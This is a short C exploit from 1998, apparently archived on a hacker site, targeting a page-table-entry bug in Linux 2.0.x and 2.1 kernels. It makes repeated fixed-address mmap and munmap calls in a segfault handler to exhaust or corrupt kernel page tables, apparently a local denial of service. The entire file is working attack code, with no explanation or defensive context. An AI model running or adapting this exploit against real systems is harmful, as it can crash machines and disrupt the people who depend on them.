/*
 
    SYSTEMS AFFECTED
    Linux 2.0.x, 2.1.?
 
   the pte bug - Sed hacking linux kernel, 24 may 1998
 
*/


unsigned long address;
int touch_me;
int fd;

#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void the_handler(int x)
{
  signal(SIGSEGV, the_handler);

  touch_me++;

  if(mmap((void *)address, 4, PROT_READ,
          MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1)
    {
      perror("mmap");
      exit(1);
    }
}

void main(void)
{
  /* volatile to fool GCC, we _WANT_ access *address */
  volatile unsigned long i;

  fd=open("pte.c", O_RDONLY);
  if (fd==-1)
    {
      perror("open");
      exit(1);
    }

  signal(SIGSEGV, the_handler);

  /* 3*1024*1024*1024 = TASK_SIZE,
   * 1024*4096 = number of bytes one pte can map */
  for (address=0; address<3*1024*1024*1024; address+=1024*4096)
    {
      i=*(unsigned long *)address;
      if (touch_me)
        {
          touch_me=0;
          munmap((void *)address, 4);
        }
    }

  while(1)
    pause();
}
/*                    www.hack.co.za              [2000]*/